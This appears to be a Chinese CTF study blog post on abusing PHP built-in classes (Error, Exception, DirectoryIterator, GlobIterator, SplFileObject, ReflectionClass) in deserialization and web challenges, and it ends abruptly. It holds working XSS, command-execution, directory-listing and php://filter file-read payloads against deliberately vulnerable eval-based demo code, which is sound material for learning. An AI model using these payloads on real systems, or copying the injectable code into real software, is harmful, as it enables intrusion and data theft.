PHP原生类的应用

前几天打了浙江省赛,拿了个省二,明年努努力冲个省一。发现浙江省赛出了两题POP链,这就是为啥博客持续在更新反序列化的内容的原因哈哈哈(因为我两题都没解出来),之前练了一下pop链的构造,现在来研究一下PHP原生类的利用

本篇文章总结于https://blog.csdn.net/qq_38154820/article/details/121112935

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。

我们来随便弄一个DEMO试试

1
2
3
4
<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo new $a($b);

ERROR类中自动带有tostring魔术方法,我们如果这里把他当字符串输出,会自动触发tostring方法,如果这里是echo,即可造成XSS

Payload:

1
http://127.0.0.1/?a=Error&b=<script>alert('xss')</script>

image-20211112125022805

Exception

和Error类一样,也自带tostring方法,也可以造成XSS

image-20211112125139238

既然如此,可以会被PHP执行,我们可以换一种写法,用eval()函数让他造成RCE即可在实战中使用

DEMO:

1
2
3
4
<?php
$a=$_GET['a'];
$b=$_GET['b'];
eval("echo new $a($b);");

image-20211112131536484

payload:

1
?a=Exception&b=system("whoami")

因为echo new $a($b);会输出system(“whoami”),然后会被eval放入代码中去执行,即可造成RCE

遍历目录类

DirectoryIterator

DirectoryIterator类中有一个__construct()方法,他会构造一个迭代器,如果使用echo进行输出,他会返回迭代器的第一个

demo:

1
2
3
4
<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo new $a($b);

我们这时候如果传入

1
?a=DirectoryIterator&b=.

此时是遍历当前目录,他回返回第一项,也就应该是一个点

image-20211112132453027

有的师傅就说了,这有个勾八用,我们其实还可以使用glob://协议进行匹配其余的文件

例如:

1
?a=DirectoryIterator&b=glob://flag*

这里的*依旧是通配符,就会匹配当前目录下的带有flag的文件

image-20211112132648936

这里如果不知道文件名,可以直接暴力搜索,使用正则匹配去使用

例如

1
?a=DirectoryIterator&b=glob://f[a-z]*

image-20211112132746091

FilesystemIterator

和Directorylterator差不多,不重复赘述

GlobIterator

GlobIterator和另外两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

1
?a=GlobIterator&b=f[a-z]*

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口,也就是这个类可以用来读文件

DEMO:

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

我们传入?a=SplFileObject&b=flag.php,即可读取我们flag.php里面的内容,但是他只能读一行!!!red

image-20211112133016528

除了直接传文件名之外,我们是不是可以联系到php伪协议呢?不妨来试试,传入如下payload

1
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

image-20211112133442470

反射类

ReflectionClass

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

这里我们直接使用CTFshow的web109来作为例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,所以应该传入如下参数

1
v1=ReflectionClass&v2=system("ls")

image-20211112134027779

ReflectionMethod

和ReflectionClass一样,直接上图

image-20211112134205330

Typecho_Db_Exception类在/var/Typecho/Db/Query.php中,这里有一个//__toString()的注释,直接看__toString函数里的内容